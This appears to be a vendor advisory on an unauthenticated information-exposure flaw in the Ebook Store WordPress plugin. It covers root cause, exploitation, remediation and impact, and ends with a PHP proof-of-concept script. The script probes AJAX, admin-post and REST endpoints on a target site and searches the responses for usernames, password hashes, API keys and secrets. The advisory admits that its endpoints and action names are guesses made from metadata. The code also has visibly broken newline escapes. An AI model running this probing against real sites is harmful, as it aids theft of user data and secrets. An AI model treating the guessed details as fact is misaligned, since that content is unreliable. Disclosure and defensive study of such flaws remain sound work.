Atomic Edge analysis of CVE-2026-59529 (metadata-based): The Ebook Store plugin for WordPress, versions up to and including 6.19, exposes sensitive user or configuration data to unauthenticated attackers. The CVSS score is 5.3 (medium severity), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. This means an attacker can make a network request with no authentication, no user interaction, and low complexity to retrieve limited sensitive information.
Root Cause: The vulnerability is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Based on the description and CWE, the likely root cause is a WordPress AJAX action, REST API endpoint, or admin-post handler that returns sensitive data without proper capability checks or nonce verification. This is inferred from the metadata, not confirmed from source code, as no diff is available. The absence of authentication and the ‘Sensitive Information Exposure’ classification point to a function that directly queries user or configuration data (e.g., `$wpdb` queries for user records, plugin settings, or debug data) and echoes the results without checking `current_user_can()` or verifying a nonce. The plugin may expose data through an unauthenticated endpoint that was intended for authenticated use, or it may lack a capability check on an existing hook.
Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to a WordPress AJAX or REST endpoint associated with the Ebook Store plugin. Likely endpoints are `/wp-admin/admin-ajax.php` with a plugin-specific action parameter, or `/wp-json/ebook-store/v1/` REST routes. Since no specific action or route is disclosed in the metadata, a realistic payload would target common sensitive-data endpoints such as user listing, order data, or plugin configuration. The attacker would send a GET or POST request without any nonce or authentication cookies, which is possible because the vulnerable handler lacks the required checks. The request might include parameters like `action=ebook_store_get_users` or `action=ebook_store_export_config` to retrieve data.
Remediation: The fix in version 6.20 likely involves adding proper authorization checks to the affected handler(s). This includes verifying that the current user has the required capability (e.g., `manage_options`, `edit_posts`) before returning sensitive data, and implementing nonce verification for all AJAX/REST requests. Doing so will prevent unauthenticated and low-privilege users from accessing the data. The plugin should also avoid exposing configuration or user data through endpoints that are not explicitly required to be public.
Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information such as user accounts (emails, usernames, hashed passwords), customer order details, or internal plugin configuration. This data can be used for further attacks, including credential stuffing, phishing, or targeted exploitation. The confidentiality impact is limited to a low level, but the exposure of configuration data could reveal database prefixes, API keys, or other secrets that facilitate broader compromise.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-59529 - Ebook Store <= 6.19 - Unauthenticated Information Exposure
// This PoC demonstrates how an unauthenticated attacker could trigger
// sensitive information exposure in the Ebook Store plugin.
// The exact endpoint and parameters are inferred from the vulnerability type
// (CWE-200) and WordPress plugin conventions, as no source code is available.
// Configuration - set the target WordPress site URL
$target_url = 'http://target-site.com';
// Possible vulnerable endpoints to test
$endpoints = array(
$target_url . '/wp-admin/admin-ajax.php',
$target_url . '/wp-json/ebook-store/v1/users',
$target_url . '/wp-json/ebook-store/v1/config',
$target_url . '/wp-admin/admin-post.php'
);
// Possible AJAX actions that might expose sensitive data
$ajax_actions = array(
'ebook_store_get_users',
'ebook_store_export_data',
'ebook_store_get_config',
'ebook_store_debug_data'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 15
));
foreach ($endpoints as $endpoint) {
if (strpos($endpoint, 'admin-ajax.php') !== false || strpos($endpoint, 'admin-post.php') !== false) {
// Try each AJAX/admin-post action
foreach ($ajax_actions as $action) {
$payload = array('action' => $action);
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);
if ($response !== false) {
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Endpoint: $endpoint?action=$actionn";
echo "HTTP Status: $statusn";
if (strpos($response, 'wp-json') === false && !empty($response)) {
// Look for common sensitive data patterns in the response
if (preg_match('/"(user_login|user_email|user_pass|config|db_prefix|api_key|secret)"/i', $response)) {
echo "[!] Potential sensitive data exposed:n";
echo $response . "n";
}
}
echo "------------------------------------------n";
}
}
} else {
// Try REST API endpoints with GET request
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if ($response !== false) {
echo "Endpoint: $endpointn";
echo "HTTP Status: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
if (strpos($response, 'wp-json') === false && !empty($response)) {
if (preg_match('/"(user_login|user_email|user_pass|config|db_prefix|api_key|secret)"/i', $response)) {
echo "[!] Potential sensitive data exposed:n";
echo $response . "n";
}
}
echo "------------------------------------------n";
}
}
}
curl_close($ch);
echo "PoC completed. Check output for sensitive data.";
